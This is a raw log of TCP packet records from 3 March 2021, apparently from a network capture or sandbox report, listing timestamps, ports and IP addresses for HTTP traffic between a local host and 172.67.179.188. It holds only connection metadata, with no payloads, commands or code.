Mar 3, 2021 07:33:23.483273029 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483277082 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483294010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483314037 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483314991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483335018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483355045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483362913 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483380079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483407974 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483844042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483869076 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483887911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483910084 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483922958 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483932972 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483957052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483973026 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.483978987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.483999014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484025002 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484244108 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484268904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484289885 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484291077 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484311104 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484333038 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484339952 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484354019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484376907 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484380960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484402895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484424114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484424114 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484447002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484468937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484491110 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484492064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484513998 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484533072 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484534025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484558105 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484564066 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484591007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484611988 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.484613895 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.484656096 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.485223055 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485253096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485272884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485297918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485307932 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.485320091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485340118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485351086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.485361099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485378981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.485395908 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.485440016 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.549982071 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550019026 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550040007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550065041 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550087929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550096989 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550110102 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550132990 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550151110 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550156116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550178051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550185919 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550195932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550204039 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550216913 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550242901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550255060 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550266027 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550288916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550297022 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550312042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550333977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550343037 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550355911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550379992 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550381899 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550401926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550425053 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550426960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550451040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550470114 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550472021 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550494909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550518036 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550538063 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550540924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550564051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550571918 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.550587893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.550611973 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551106930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551139116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551163912 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551187038 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551196098 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551208973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551229954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551242113 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551251888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551271915 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551273108 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551295996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551296949 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551321030 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551332951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551374912 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551686049 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551752090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551774979 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551794052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551814079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551822901 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551836014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551857948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551877975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551898003 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551903009 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551923037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551935911 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551947117 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551968098 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.551970959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.551990032 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552011967 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552036047 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552057028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552079916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552105904 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552164078 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552632093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552664042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552687883 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552709103 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552711010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552735090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552741051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552757025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552778959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552788973 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552802086 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552829027 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552833080 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552853107 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552879095 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552891970 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552902937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552926064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552937984 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552951097 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552973986 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.552988052 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.552997112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553014994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553023100 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553098917 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553560019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553590059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553611994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553633928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553648949 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553656101 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553674936 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553698063 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553710938 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553720951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553740025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553741932 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553764105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553783894 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553786039 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553809881 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553818941 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553833008 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553858042 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553862095 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553884983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553911924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553921938 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.553937912 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.553957939 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.554959059 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.556793928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556823969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556845903 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556862116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.556864023 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556881905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556899071 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556916952 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556936979 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.556937933 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.557086945 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.609220982 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622154951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622195005 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622215033 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622232914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622251987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622275114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622298956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622322083 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622349977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622359991 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622374058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622397900 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622425079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622428894 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622447968 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622472048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622492075 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622494936 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622517109 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622519016 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622541904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622565985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622585058 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622591019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622617960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622622967 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622642994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622665882 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622680902 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622689962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622714043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622721910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622737885 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622762918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622786999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622790098 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622812986 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622829914 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622837067 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622853994 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622859955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622884035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622906923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622911930 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.622929096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622952938 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.622960091 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623003006 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623457909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623485088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623509884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623533010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623555899 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623564005 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623579025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623590946 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623604059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623631954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623631954 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623656988 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623682022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623698950 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623708010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623733997 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623734951 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623758078 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623783112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623785973 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.623807907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.623830080 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624355078 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624387980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624412060 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624434948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624453068 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624458075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624480963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624506950 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624506950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624531984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624555111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624572992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624578953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624619007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624619007 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624644041 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624666929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624690056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624691963 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624711990 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624738932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624739885 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624763012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.624790907 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.624840021 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625307083 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625339031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625361919 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625400066 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625416040 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625423908 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625447989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625458956 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625471115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625487089 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625495911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625518084 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625545025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625551939 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625569105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625593901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625596046 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625617981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625642061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625649929 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625664949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625685930 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.625689030 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625711918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.625727892 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626200914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626230955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626255035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626270056 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626277924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626302958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626317024 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626323938 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626348019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626353979 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626370907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626398087 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626420021 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626421928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626446009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626468897 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.626470089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.626493931 CET	49770	80	192.168.2.4	172.67.179.188
